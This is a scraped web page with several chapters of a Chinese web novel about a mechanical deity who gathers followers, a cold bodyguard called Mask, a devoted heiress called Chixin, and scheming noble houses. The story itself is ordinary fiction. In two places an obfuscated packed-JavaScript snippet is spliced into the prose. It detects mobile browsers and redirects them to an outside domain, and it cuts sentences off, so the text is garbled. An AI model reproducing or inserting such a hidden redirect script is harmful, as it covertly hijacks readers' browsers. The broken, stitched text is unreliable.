镜片映射着无边宇宙,她看到一个自己平躺在镜子之下。黑色的裂纹爬满她的身躯,但她无知无觉地温柔笑着沉睡。 她觉得那个自己好像失去了什么。 “痴心,叫我痴心吧。” 金线带着她靠近耀眼的光芒:眼前忽然闪过虫群般的文字、变换的面容、少女的灵魂、黏稠的黑泥…… 还有一个陌生的影子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449313|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 痴心猛然惊醒。 “醒了?” 一个黑罗缠目的青年支着头坐在床边,见她醒了,当即扭过头不咸不淡问道。 痴心捂着脑袋。 她的思维很混乱而粉碎,过去的记忆变得陌生。 甚至连自己是谁都需要花上许多时间才能从庞杂的思维碎屑中找到。 面具很快意识到了对方正在经历的痛苦。 一时间房间内无人开口,陷入一片宁静。 与两人一门之隔,哀恸的哭嚎在空荡圣堂激起回响。 温莎跪倒在地面上,声泪俱下地从单肩包从取出一叠医疗诊单。 “这是每一次的检查报告,他很健康,每一次检查医生都跟我说他是个健康的孩子。他们问我孩子的父亲怎么没来,我说这是我一个人的孩子。医生就提醒我说,那等他长大了,你带他去卫生间会比较麻烦。我听懂了,我在那时候想,他们人真的很好——但我不知道,因为我的一句无心之言,他们就盯上我了!他们那时候就盯上我了! “我想给那孩子最好的一切,我去了克家最好最大的医院,我没想过他们会做出这样的勾当……” 温莎几乎说不下去了,把未被放下的苦难讲出,无异于将未结痂的伤口撕开示人。 一只机械手轻轻搭在她的头上:“我的孩子,你受苦了。” 温莎哭得撕心裂肺。她匍匐在冰冷的机械脚上,却像是怀抱着普罗米修斯带来的火种。 “在我精疲力尽地生出那孩子后,我陷入了昏迷,等我醒来时,他们……” 神明叹息一声,祂蹲下身。 “他们告诉我……”她几近无声地吐出几个字,“他是个死婴。” 温莎抓着神明的胳膊,感受到一个冷硬的拥抱。 “他们将那个死婴带到我面前。大人,我是母亲,我是他的母亲,我知道那不是他,那绝不是他……” 温莎倔强地抬头,满脸泪痕。 “他们把我的孩子换走了!我知道!我还能听到那孩子的哭声,他问我为什么不保护好他,他才刚出生,他哪里有保护自己的能力!但我却晕了过去!在我孤身一人生育的时候,他们故意拉长了生产时间,就是为了让我昏过去,然后换走我的孩子!” “你会找到他的,孩子。”神明将温莎托起,“只要你愿意相信我。” “我愿意!我愿意相信您,大人!您是上天派下来拯救我于苦难的神明,我会追随您!只要您能帮我找到他,让我做什么都可以,我什么都能做!” “很好……” 神明闭上双眼,感受着从温莎精神中流淌而出的赐福。 温暖却锥心泣血,像是一道狰狞的疤痕出现在她的精神世界。 “孩子,这不是你该承受的苦难。四大家族为恶太多,自有天诛。抬起头来。” 温莎扬头,看向天幕上的绘画。 “告诉我,你看到了什么。” “我已看见……”温莎瞳孔失焦,口中喃喃,“他们都不应存在。” “正是。” 神明张开双臂,白色的圣光从天而降。 “他们都不应存在,而你的愿望,定然成真。” 13. 第十一场 痴愚者敬神投怀 3月23日15:12 大小姐没过几秒钟就要伸长了脖子看看门外。 她心急如焚,但又出不去,只能反反复复问着房间内唯一能回答自己的女人同一个问题。 “神明大人呢?面具女士,我什么时候才能去找祂?” “外面有人,你不能出去。” 这已经是她第十六遍回答对方这个问题了。 “祂在聆听其他信徒的告解吗,还要多久?” 面具抿唇。 看样子她是没机会套到情报了。 “面具女士?”痴心充满善意地提醒。 “闭嘴。” 神明一推开门就听到面具语气满是厌恶,看起来深受大小姐的困扰。 不对—— 面相温柔的女人见到机械神明的瞬间眼前一亮,语气雀跃又小心翼翼:“大人,是您吗?” 神明懵圈。 你怎么就醒了? 面具听到推门声看过来的时候还皱着眉,一见神明回来丢下一句“你终于回来了”就离开了自己的房间。 这还是神明第一次见到面具这么大反应。 祂当即热情挑眉,窜到痴心面前,热切地握住她的手:“怎么了大小姐,你找我?” “真的是您!” 痴心上下打量了一番神明的新身体,显然被这具丑陋的机械震撼到了。她目光关切地斟酌着措辞,语气关怀又感动。 “您是为了我,才进入了这样的身躯吗?” 神明立刻明白面具为什么那么大反应了。 祂很想对着对方赤诚的眼神说上一句: 闺女哇,恋爱脑是没有未来的。 但神明还有想试探的事情。 “不,大小姐,你是我的奇迹,你的灵魂纯粹到至高无上,因而赐福降下垂怜。” 痴心似懂非懂地点了点头:“我明白,大人,我感激您对我的偏私。” 不,你不明白。 神明坐下将她的手放在自己身上:“你和面具说了什么吗?” “我只是向她询问什么时候能去见您,大人。您让我见过那样绚烂的神迹,我从那时就发誓要追随您了。” 还好房间里没有镜子,希望她还没发现自己的样貌没变。 “你只是和她说要见我?她就这样走了?” 痴心瑟缩了下,露出了担忧愧疚的表情。 “是我做错什么害您与那位大人难做了吗?对不起神明大人。那位面具……女士她不让我喊她大人,是不是我哪里做的不好,令她不高兴了?” 何止是哪里呀闺女,要我说实话,建议你干脆全部推翻重说吧! 神明勉强笑着尝试继续推进对话:“呃,应该……没有吧。她那人就是内向,你不用放在心上。毕竟你们以后还要当同事,你……” “真的吗!您不会赶我走!我可以留下来同面具女士一样侍奉您左右?” 世上倒也没有那样糟心的侍奉…… “是呀,你是特殊的,你当然可以留下,你还记得自己的代号吗?” 痴心陷入沉思,很快,她温柔又天真地笑了。 “我记得,那是我臣服于您的证明。” 神明:? “痴心,我所做种种,皆为一颗献于神明的痴心。” 神明:……? 是这样解释的吗? 赤诚的火焰在女人广袤的精神领域燃烧,神明几乎瞬间捕捉到了那抹在天际线处熊熊燃烧的霞光。 暮云褪去,一颗赤子之心从中脱落。 神明脱口而出:“你的赐福能力是什么?” 痴心疑惑地看向神明。 “嗯?神明大人,您说什么?” 神明打了哈哈:“没什么,我看错了——走吧,总是占着面具的卧室也不好,我给你换间临时居所。” 3月23日17:07 亚富科技股份有限公司顶层花园 小喷泉边,在蓝紫色绣球花的簇拥之中,一位小姐正单手斜支着下巴,半靠在椅子上,听着人工智能助理即将结束的汇报。 她身穿一条白裙,衣襟上绣着几枝蓝鸢尾,袖口和领口点缀着纤细轻薄的菈里蕾丝——一种由底利马老牌贵族菈里发明的窄幅蕾丝样式。 贵族做派的小姐不时轻轻地颔首以示肯定,那对切割精湛的绿宝石耳环便随着动作轻轻摇晃。 她就像吟游诗人用于讽刺的宫廷式,措辞柔美却暗藏锋利的隐喻。 “……一切都在您的安排下稳步推进。提醒事项:十四天后需要向各区交付第一百三十二批治安管理协助智械。” 她简单调整了下自己无名指上鸽子蛋大小的祖母绿宝石,抬手将深栗色卷发抚到耳后。 “请整合后向我汇报最近一星期海恩整理的各区域重要档案,康恩。” “好的小姐。经统计,重要档案共三百六十五条,普通档案共三千四十四条,基础档案共三十二万五千七百三十二条,所有档案已由莉莉奥瓦上传至云木不同权限区。经整合,共分为以下四个重点。” 她闻言侧头,唇角轻轻勾起,似笑非笑,好像在沉思接下来的安排。 “第一,克氏集团名下的众多医疗单位开启新一轮药田计划。”康恩说。 “克谭很有可能向我们施压,甚至专门派人到总部审查。请通知格兰迪准备进行设备转移,只需要在研究室留下三个即可。”她轻柔又慵懒地开口。 “明白,试用品、成本高昂、监控监听。” 康恩备注后继续汇报。 “第二,黎礁港集装箱于底利马因腰链帮、黎明会、无言三大帮派火拼而被破坏,墨隧排行榜第二杀手烬土疑似参与收场,可能性为98.67%。何朴因该事件接受孟家调查,目前处于停职状态。 “——已更新,确认烬土因委托下场。西奥·洛克斐将于明日清晨收到消息。” 她随意翻了翻更新的附加信息,立刻切换到了另一档案分类,点进墨隧管理员内部页面后,低着头出声打断道。 “委托只是后加的幌子,烬土和面具是一个人。请同步备注明天向下联区加派海恩,通知它们重点关注洛克 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面具抱着衣服回头,语气带着不理解:“我说你有话直说,没赶你走。” “哦哦,好的、好的。”痴心声音低下去,做了几秒的心理建设才开口,“面具女士,我是想和您道歉。” 她等了一会,面具仍在整理自己的东西。 痴心有些犹豫,不知道该不该继续,她又等了会,面具依旧没有赶她走。 她鼓起勇气继续道:“面具女士,我很抱歉下午惹您不快。神明大人说我们以后会在一起共事,我们都是要侍奉神明左右……” “谁?”面具打断她,“搞清楚点,一厢情愿侍奉祂的,只有你而已。” 痴心愤愤不平:“恕我直言,面具女士,您能先于所有人得到神明大人的青睐已是天大的恩赐。您拥有的这些强于普通人的能力,难道不是因为神明垂怜吗?如果不是神明大人,身为普通人的我们怎么可能做出这样的成绩?您是这样聪慧的人,怎么会连最基本的感恩都不懂呢!” 面具笑着将剩下的衣服塞进隔层,不留一丝情面地嘲讽道:“嗯,你大可这样自说自话地依附祂活着,感激涕零地跪在所谓的强者脚下。在别人还没把你怎样时,就先自己贬低磋磨自我,最后沦落到野狗一样的结局,即便摇着尾巴讨好,别人也嫌恶你的狂吠。” 痴心似是被她话语中的哂然震惊了,脸色唰的变得苍白,她几乎要在这样难堪的对话中摇摇欲坠,可属于信仰的力量又支撑着她鼓起勇气悲戚地反驳。 “祂给予我们归宿,赐福我们力量。祂的信徒何其之多,而我们只是其中并无特长的两个。我们毫无办法,只能接受。所以我不知道该怎样,让祂永远愿意分下一点目光注视我。我只是一个人,我能做的唯有祈求。” 面具冷嗤一声。 “别这么和我说话,我们不是一路人。我不奢求谁的垂怜,也不需要谁的注视。” 14. 第十二场 面具与痴心 “你的神明之所以选择我,不是因为我需要,而是因为祂需要。我能带给祂一切祂需要我做的。这是是合作,懂吗?” 她说着坐到桌前摸出枪,当着痴心的面随意把玩起来,没给她一个眼神。 “我与你不同,地位、尊重、认可,这一切是我应得的,都是祂为得到我的支持所开出的价码。而我所做悉数,更不是什么毫无办法才无奈选择的东西。我只做我愿意做的事,脚踏实地地付出我能竭力做到的所有,不找什么没有天赋的借口,也不给自己下后悔的退路。在那之后,我想要的都靠自己拿到手里。尚未得到的,要么是我不需要,要么是我仍在徐徐图之。” 痴心皱着眉,张了张口,却没有发出一点声音。 对于一个连身份都要反应许久才能想起的可怜人而言,要她快速组织起针砭时弊的语言未免太过严苛。 但面具并不是拥有同理心的人。她很快保养好了自己随身的家伙,有了真正意义上的一点闲暇时间。 于是她侧过头,终于在今晚第一次正视了几乎完全变了一个人的痴心。 “所以,我不会落到你担心的境地。我是祂手中最好用的武器,能不断证明自己的价值,再攫取我要的一切。倒是你,应该用你那点所剩无几的时间,好好琢磨琢磨怎么让自己变得更有价值才是。好了,你我之间的废话够多了。右转出门,请便吧。” 痴心被这一大串大逆不道的发言震惊了,她呆愣愣地点了点头,踉跄地顺着面具的指令转身回房。 痴心前脚才出门,少女的虚影后脚就进了屋子。 “很有力量的发言,面具。”神明饶有兴趣地开口。 面具继续摆弄着自己的枪,对投影的夸奖置若罔闻。 “我还以为你会指责我发展下线呢。” 通常情况下,神明会将此认定为面具的阴阳怪气,而后跳脚。 但今晚的神明只是故作惊讶地捂起嘴:“怎么会呢!我为什么要对不可能的事情耿耿于怀呢?” 面具感到新奇。 她与祂终于迎来了一次光明正大的试探。 “她已经变成了这副样子,你还愿意留着她?” 面具放下枪抬头,认真地看着神明,充分表现着一个关心组织的二把手对大领导决策的不甚理解。 白裙少女的投影笑嘻嘻地凑近了面具,环抱住她的脖子:“你吃醋啦?哎呀,她对我如此虔诚,可是我最珍贵的信徒呀!人家实在舍不得~” 神明侧着头盯了一会面具的表情,发现对方一如既往的冷漠,甚至连呼吸节奏都平稳得没有一丝变化,有些遗憾地退了两步。 “她不一样,她对世间万物的接受程度出奇的高,因为接受度很高,所以她不需要问理由。存在就是存在,运动就是运动,她不会质疑。错误也属于合理的存在,因此,对于我的念头,她不会反抗,也不会多加揣测。每一刻,她都在为上一刻的存在找合理的理由。” 神明展臂绕着面具转了个圈。 “她就像这世界,承受着所有存在的缘由!” 祂一个急刹车停在面具眼前,以拳击掌,越讲越兴奋。 “而且,她可是从神明的意识中再生的思想!多么伟大的奇迹!她居然能从我的维度中死而复生!这样的奇迹,简直是一种宝贵的珍藏品!我怎么会舍得丢弃她呢!” 面具冷眼看着少女神明狂热的模样,不带一丝情感地继续讽刺:“您来此处没有学到什么有价值的东西,却把上联的恶习学了个遍。” 神明笑着浮空坐下。 “不不不,我学到了很多东西。比如,情感。”祂又一次凑近了面具,感叹道,“真奇怪,你与我相比,更像一个没有感情的生命呢。哪怕我能读出你的心,也看不到一丝你的情绪波动。” “我希望您不要忘记,这正是您选择我的原因。” “那当然了,虽然情绪能够转化为信仰,但理性也是难得的品质。”神明理所当然地点头,“果然还是最喜欢你了!” 乖张的少女眉眼弯弯地笑着,一如平常俏皮纯真,几乎让人忽略了祂神明的身份。 下一秒张扬的笑容僵住,甜美的声音陡然沉冷,毫不掩饰威胁之意。 “我知道你的小动作,面具。我只是不想和你这么快摊牌,那就很没意思了。难得在此世遇见你这样有趣的人类,我更希望我与你之间的游戏可以再长一些。我喜欢看你宠辱不惊、胜券在握的样子,所以我不会用规则限制你。你当然可以继续挣扎,随便你发展下线,我都随你开心……” “毕竟你得记住……”神明再次眯眼而笑,“你永远逃不出我的视线~” 说完,虚影原地消失不见。 小小的房间中,终于只剩下她一人。 面具神色如常起身,走向衣柜一侧,拉下拉杆。 她低下头,站在原地,把手轻轻搭在额头上。 下一秒,隐藏电梯带她升到顶楼。 黑色的依旧摩托停在高空车库。 她从墙根箱子里拿出一架便携抛投器扣在手臂上,快步跨上车,踩下蓝色按钮。库门玻璃升起,右腕猛地下压,机车开始震动,接着循着敞开的库门从大楼中飞跃而出。 风声呼啸而过,她砸下核心部位的飞行按键。冰蓝色的光焰从下盘圆形启动器中喷出,在天际线上划过转瞬即逝的荧蓝光痕。 她穿过星河,与巨大的月盘擦肩,流光在金街的楼群中自由肆意地掠空疾飞,与一只高频振翅的蜂鸟无异。 风从头盔的通风口从不断灌入,疾风带来的压力将她的身体整个压在机车。飞行的瞬间,就是她同摩托一起融进整个世界的永恒。 十分钟后,面具终于看到了自己的目标: 正对上联区的那户漆黑阳台。 她通过手环取消了抛投器的保险模式,瞄准阳台玻璃特地留的孔洞按下发射键。 复合材料的爪子弹射而出,精准穿过孔洞,爪子张开牢牢固定在孔位中,面具扯 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神明拥有精神方面的异能,能够洞察到她喜欢什么样的人。当年她没头没脑的答应让神明始终没有安全感。 所以每每与她交流,神明都以乖张的少女模样出现,企图求个心安。 但神明不知道。 那只是诸多面具中,她刻意展现给祂的。 和祂以傲慢又仁慈的姿态出现在痴心面前的做法一模一样。 和祂在信徒面前千人千面的做法别无二致。 但那还不足以证明她的所有猜想。 面具拉开阳台门,走进纯白的拍摄房间。 纯色的长柱依旧静立在昂贵的可变色幕布前,两个陶瓷罐子已经彻底风干,面具拿起品相较差的那只罐子。 “仓鸮傻点是显而易见的事了,只是没想到原来你也差不多。” 工具间还摆着做到一半就被主人丢下的陶泥,她垂着眸子轻笑一声。 “仓鸮说你被祂几句话就骗走了。你不在,他工作丢了,只能带着这种令人难以相信的情报来找我。祂接过你的记忆后从中看到我了吧?试探粗糙又拙劣,明显的让人不注意都难。虽然你自己没办法给我带来更多助益了,但好在我还可以借你和祂博弈……” 底利马的人造人、对痴心的刻意误导、自相矛盾的概念、反复无常的心性,还有今晚祂按耐不住的高调又反常的宣战…… “祂总想用你试探我,觉得我会看在以前的情分上拯救你。但痴心,我从没有想过拯救你。祂想错了。我对一位神明的态度都是各取所需,对你更应该保持平等。” 她仍在用心声试探,神明也不出所料地向她交了一份满分答卷。 过往种种都指向一个事实:祂心急了—— “那些话不是刺激,只是埋颗种子等它自己成长。至于是否成长,我不在乎。” 所以,祂其实读不了我的心。 如此,我赢定了。 15. 第十三场 理想主义之殊1 3月24日4:48 干净的房间,年轻的兄妹桌前站着一位侃侃而谈的家庭教师。 “所有人心知肚明,底利马真正的交易货币并不是天使点。三百年前的那场技术及权力结构的变革使得底利马退出联邦舞台,既是科技发展的必然,也是洛克斐初代家主的私怨。技术进步理所当然带来生产力的进步——货币需求是名义收入和人们持有的现金量占名义收入比例的函数。” 开场白结束,学富五车的教师敲了敲黑板,写下来一行公式: 【M=kPy】 “随着生产力水平的提高,货币需求提高,最初的贵金属铸币“天使币”无法满足需求,因而有了“天使点”,以信用为基础的法币体系应运而生,央行就得以无限提供货币供给。” 正当孟瑄打了个哈气准备睡觉时,家庭教师忽然话题一转,讲起了她最喜欢的实例。 “联邦需求贵金属时,底利马也是联邦的一份子,失去所有贵金属的他们其实比联邦更早采取法币模式,也就是我们熟悉的墨隧。 “底利马的所有人都通过手环在墨隧上进行交易,部分老牌贵族作为交货据点,成为几个历史悠久帮派的前身。所谓的委托、不合规交易已经是第一次革新后的功能了。” “我知道!约两百年前一位不出世的天才更新墨隧功能、牵线联邦,替底利马赢得了泥沼中生存的机会!”孟瑄兴致勃勃地快速开口。 “是的,底利马并不是人们想象的那样愚蠢无知。相反,上联与下联的层层重压下,他们仍旧像野草具有莫大的生命力。” 他喝了口水,走到兄妹二人身边。 “同样,凭借一己之力造成底利马现状的洛克斐更加深不可测。即便巴罗萨的后人没有谁能比得上他们的初代家主,也丝毫不会动摇洛克斐强大实力。少爷、小姐,你们作为孟家未来的接班人,绝不能像普通大众一样低估对手,无论是底利马,还是洛克斐。守成虽然不易,却最不需要一个人的突出,不妨想一想,洛克斐牢牢攥在手中的一大筹码。” “教育,联邦中心学院。”孟瑄率先回答。 “小姐反应极快,很像家主大人了。” 孟汲听到妹妹被表扬,先是开心地咧开嘴,而后缓缓抬头补充:“还有巴罗萨学院。” 他不如孟瑄反应快,没关系,将来妹妹继承家主位置,他可以作为二把手来替她想些细枝末节的补充。 就像现在。 “正是如此。巴罗萨学院没什么名气,这是洛克斐家族有意为之,其中专项人才不比联邦中心学院差的。少爷心细如发,也很有家主大人风范。” 家庭教师的声音和妹妹的面孔越来越遥远。 “汲哥、汲哥!” 秘书尼尔的声音变得越来越大。 “……汲哥呀!出大事了!快醒醒!” 孟汲从办公椅上醒来。 手环在空中投影出紧急报告,尼尔顶着浓重黑眼圈无奈地看着他。两人的眼下的乌青黑得不相上下,仿佛两只熊猫面面相觑。 孟汲揉了揉眉头,梦的余温似乎还残留在皮革椅上,他强迫着自己直起身来,嗓音沙哑:“嗯,醒了,你说。” “汲哥,我给您冲了杯咖啡,您先拿它顶顶。” 尼尔将咖啡推到孟汲面前,又着急忙慌地举着手环开始汇报。 “治安局昨晚因两位部长内斗互爆情报,进行一波大洗牌,法尔部长派人顺着信息向下查出了大批底利马内应。事发突然,现在治安局人手不足,实在没办法了,就打电话到咱们这里,询问您该怎么办。” “让他们去军备处找何朴。” 孟汲痛饮一大口浓缩,逆天的苦涩直冲脑门,他感觉自己瞬间就清醒了。 秘书迟疑了一秒:“汲哥,何处现在不是在停职吗?” 孟汲撑着脑袋,手指敲了敲桌子,理所当然地表示赞同:“他不想干的话可以停职啊。” “可现在不是培训期,他能拿出这么多人吗?”尼尔语气担忧。 孟汲挑眉:“你只管这样告诉他,他知道怎么做。” “好的,汲哥,我这就去联系。” 尼尔离开办公室,马不停蹄地联系何朴。没两秒,何朴就接了电话。 “何处打扰了,我是孟汲部长秘书尼尔。治安局因特殊原因损失大量人才,现各区域人手严重不足,需要人力支援。部长点名请您出手协助治安局,他说‘现在只有军备处能在非培训期调动专业力量’,特意让我给您开通了军备处远程特别响应通道权限。” 男人显然没太睡醒:“他们需要多少人?” “各区详细数据都在文档中,我已经发给您了。” 电话那头传来男人重重吐气声。 何朴坐起身子,快速浏览完文档,看着夸张的数字,又是一阵长吁短叹。 这是被底利马捅了老窝吗? 还人!不儿没事找事吗! 孟汲你看看把我掰碎了变成一千八百片儿够不够! 何朴平复了下心情,微笑说:“没问题。军备处这边还有一批巡警型仿生人,大约在五十个左右,我先把这批送到各区,之后我会和亚富说尽快把其他各类型智械发往几个区。” “何处……治安局要的是人……” “仿生人也是人呀。”何朴无辜眨眼。 尼尔急着开口:“可是……” “唉呦呦,我这头!嘶啊,老了老了,好不容易停职休个假,这么早为难个老人可不好啊,哈——够劲!”浮夸的演技隔着手环沉默了年轻的职场小孩,“不行了老弟,我挂了!昂,这事就这么定了!真挂了啊——哎呦我这头!” 尼尔看着被匆匆挂断的手环,陷入震耳欲聋的默然。半晌,他将何朴的安排转告了在热锅上急得跳脚的治安局局长。 “什么叫仿生人也是人!我们要的是人!活人懂吗!治安……” 尼尔拉远手环,深吸一口气,中气十足地大喊:“汲哥!欸欸!我马上来——” 对面的声音骤然停滞,尼尔又把手环拉回,尽量保持着神色的严肃。 “不好意思啊,孟汲部长喊我有事处理。治安局的遭遇我深表遗憾,您放心,我这边一定继续给您推进。那就先这样,回见回见。” 直到尼尔雀跃地按下挂断键,对方也没再说一句话。 他兴奋地对着玻璃比了个耶。 何朴,神! 他默默将何朴的账号置顶,想着以后一定要多和大佬取取经。 何神,我会追随你一辈子,就像信徒跪伏在神明的脚边虔诚地叩吻!恶鬼牺牲形体与灵魂变成魔王手中利剑,为祂扫除一切障碍,斩断一切光明! 哦!何神! 3月24日13:48 “姐姐,您叫我来有什么事吗?” 西奥看着自己温顺内敛的幼弟,将一份密封的纸质文件递过去:“和以前一样,亲自送到他手里。” “好的姐姐。” 洛克斐家的小公子顺从地接过文件,西奥很快发现了他手上未洗干净的油彩,不由得挑眉:“你又去底利马了?” “啊……” 西奥扬起下巴示以位置:“手指没洗净,你可别让老头看见。送完跟我说一声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449316|185251||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我给你安排点出差工作,让你在那边待几天。” 小公子眼前一亮,温和地冲着善解人意的长姐笑了,一脸乖巧。 “谢谢姐姐。” 西奥皱起眉,表情嫌弃地挥了挥手,让他赶紧走。 望着背影都诉说着欢欣的幼弟,西奥不由得翻了个白眼。 小家伙平日就喜欢琢磨那档高雅艺术,志不在争权,老实得很。给点甜头就能为自己所用,办事能力也算看得过去。 关键不得宠,脸也不为大众所知,那一身艺术家的气质实在适合掩人耳目,替自己送78号的机密文件最为合适。 尤利安也对着家主之位虎视眈眈,除了老头,她还得获得家族更多人支持才行。 西奥撇撇嘴,又看了一遍78号递来的情报。 黎港守卫全军覆没,帮派和她的人混战,什么信息都没留下。那批基因战士全被人毁了,一点都没留。 太狠了。 如果只是几个帮派鬣狗似的不要命挑衅还好。 他们狗咬狗弄出那么大动静,到最后带回去的样本几乎报废,火场内材料几乎烧得什么也看不出来……加上洛克斐设置的反研究程序,她倒是不担心给底利马送研究样本。 只是怕最差的结果。 如果那位是…… 就必须让78号尽快斩草除根! 3月24日14:25 小公子在78号首领的办公室等着,坐姿端正却又显得随意,相较旁边接待人的小心翼翼,反倒是他像到了自己的主场。 这也可以理解,78号毕竟是洛克斐附属,现在却让主家的人等着。本身除了这层关系外,洛克斐的顶级权贵也是可以一句话决定半个区的生死的。他们下联区的人见着上联区的人,就该是狗见主人的态度——又敬又怕,唯有服从。 只是这位小公子看起来太好相处。 接待人低眉顺眼地站在一边,却在暗中悄悄打量对方。他是仗着对方只是个公子哥,不像他们这类人那么敏锐,再加上这一点格外宽厚的气质,才敢这么行事。 一时屋中无人开口,异常安静。 洛克斐的小公子依旧安静坐在沙发上,面色如常,没有一点倨傲或是不耐。其实他察觉到了对方的目光,只是没有必要开口而已。 他天生目力耳力要比一般人好些,顶着洛克斐姓氏的人不知道,78号的人更不知道了。也正是因此,他才能听到屋外自己和长姐可能一辈子也听不到的话。 “这件事安排给你和一队,一定要尽快找到大小姐,千万不能让洛克斐知道她加入伪神!”似乎是手下领命离开,男人在门口恨铁不成钢地嘀咕了一句,“真是胡闹!” 下一秒,痴心的父亲笑容可掬地推开门,用眼神示意接待人退出去后,他向前一步恭敬地向洛克斐的贵人低头见礼:“尊贵的洛克斐大人,什么重要的事值得您亲自来这里一趟?” “您毕竟长于我,不必如此客气。长姐说这份文件至关重要,让我务必完好无损地将它交到您手中。” 男人听到对方刻意加重“完好无损”四个字后,心下了然。 他双手接过文件,没有多看一眼文件,只是继续诚恳道:“文件我都完好收到了,大人亲自交代的事情,我一定完成。” 小公子温和笑着,彬彬有礼地点点头:“既然没问题,我就先走了。” “大人慢走,请代我向令姊问好。” “好。” 他出了门,不由得想起男人刚才的话。 学妹她真的选择了加入神明? 或许……那个组织真有可取之处? 16. 第十四场 侵合者台口开场 3月25日 “滴滴哩嗒嗒,嗒嗒啦嗒——” 神明闭眼睛哼着小曲,在痴心的记忆中快速回顾与面具有关的片段,希望通过多了解一些面具的过去以找到限制她的措施。 在痴心的视角里,六年前的面具远比现在要更为麻木。 她总是像一具森冷的行尸走肉站在痴心身边。除去保护任务之外,从不开口主动和痴心交谈。 她活着,就只是活着。 痴心虽然没办法从面具的眼睛里读到她的想法,却能从她那种与世界格格不入的气质里感觉到她内心的真实想法。 活着也行,死了最好。 痴心丝毫不怀疑,如果不是父亲让面具来保护自己,她这种浑噩的状态,也许不知道哪天就死在某个角落了。 她把自己活成了一条挂在名为任务棉绳上的腊肉。 水分和生机早被时间遗忘在过往瞬间,剩下的空壳在烈阳下曝晒,晒到仓皇的灵魂失了色,连皮肉下的油脂都被抽走,只剩下又酸又臭的腐味在生命中发酵。 问她多大,她也支支吾吾地犹豫好久,说记不清了。 痴心就去调来她的档案,18岁,比自己大一岁。 痴心不知道什么把她风干成这副模样,但她觉得不应该是这样的。 一双手递来档案袋,78号的钢印打在封口,被痴心撕开,取出一份调查档案。 这一定是重点! 神明坐直了身体:“嗯,档案,我看看!” “290年,于底利马抢食被78号发现战斗天赋,带回组织。294年被委派以最高保密任务,除她以外全员牺牲;后因眼睛受伤退役,被安排到第二任首领的女儿身边当私人保镖……” 这就是面具和痴心产生交集的起因。 神明点了点头,接下来的内容无非是狗血的温柔大小姐与冷面保镖故事,快进快进! 神明在精神领域像看视频一样扒拉起进度条:“嗯……这些……不重要、这些也不重要……嗯?这个……” 联邦历295年,痴心作为新生在联邦中心学院报道,返程时遇袭。 联邦中心学院的学子不是非富即贵的存在,就是天才中的天才,对外录取的名额少得可怜。父亲靠着给洛克斐家族打工,才让痴心有机会顺利入学。所以她不可能什么都不考虑地张扬行事,就只带了面具一个贴身保镖。 从上联到金街的大路到处都是权贵的产业,没有杀手会在这里动手,因此情况其实也没有那么危险。面具为了配合她伪装成学生模样,也就没有携带多余的武器,只带了那把她每晚都养保养的手枪。 才从上联区出来,进到金街,她们两个就被埋伏在路上的杀手围劫了,十几个杀手清场,甚至还有一个狙击手在远处蹲伏。 面具想也没想把枪抛给痴心,将车全力刹进绿化带,一个人从车里跳了出去。 “趴在椅子后,联系保镖。” 痴心照着面具的嘱咐趴下,在车里发出紧急联络信号后,握着枪平移到车门边,露出眼睛偷偷观察外面的情况。 那是她第一次见面具动手。 她敏捷得如一道游影,在其他杀手还未反应过来时,就已经快闪至落单杀手身后,毫不费力地卸掉对方的枪。 父亲曾带着面具来找她时,说过面具和那些普通人是不一样的,只是可惜了眼睛。 痴心在这一刻才真正明白父亲的意思。 红点趁机瞄准在面具后脑上,痴心还没看清子弹在哪,被卸了枪的杀手就被面具提起丢出,在空中替面具挡下致命的一枪。 没时间回头,面具贴地翻滚捡起敌人掉落的枪,一排子弹迟追着扫射在她身后的地面上,激起一阵烟尘。她趁机重新回到车辆附近,抬手对着狙击手的位置刻意角度偏离补了两枪。 据痴心所知,联邦内部流通的手枪最大射程大约300米,合格的狙击手一般会在600米开外的位置进行瞄准射击。 她不明白面具这样做的意义。 但两枪后,面具身上再也没出现过红点。 她也不明白面具是怎么做到的。 直到面具把其余杀手解决,将车门拉开伸手把痴心拉出来。 新的红点对准油箱。 “!” 爆炸发生在一瞬间,面具想也没想带她扑向车外。 电光石火间,痴心反应过来面具才是那些人的目标。下一刻,她被爆炸产生的气浪震得几乎昏了过去。迷迷糊糊中,她听到保镖焦急的声音,好像有什么东西压在她身上,重得让她几乎喘不过气。 变了形的前盖遮蔽了她们头顶的整片天空,被炸蒙了的痴心被面具压得喘不过气,下意识去推面具肩头,却摸到一手血。 她当即吓得一激灵,回过神来失声惊喊。 “醒醒!面具!醒醒!保镖?人呢!我们在这里!!快来人叫救护车!” “这里!快,大小姐在这里!” 保镖们闻声而动,将两人从车前盖下救出。 面具伤得很重。 前盖被炸飞落在她后背上,砸断了脊柱,肾脏破裂造成大出血。即便在医疗最发达的克家医院,面对这种情况也只能下病危通知书。 痴心颤抖着签了字,心里还怀着最后一丝渺茫希望。 四大家族有一种专供嫡系的蓝涡超速剂,据说是某种天外物种制造,只要一支,就是只剩一口气也能把人救回来。 她求着父亲向洛克斐家族讨要。 哪怕只有1ml,哪怕是一滴…… 痴心不知道自己等了父亲多久。 久到急救灯暗下,医生从急救室犹豫地出来,对着痴心摇了摇头。 他也没有将东西带回。 痴心的脸色顷刻变得灰败。 她不知道是父亲没有开口,还是洛克斐的眼中从来没有过这样微不足道的人命。 但一切都结束了。 医生斟酌着语句,又是一声重重的叹息。 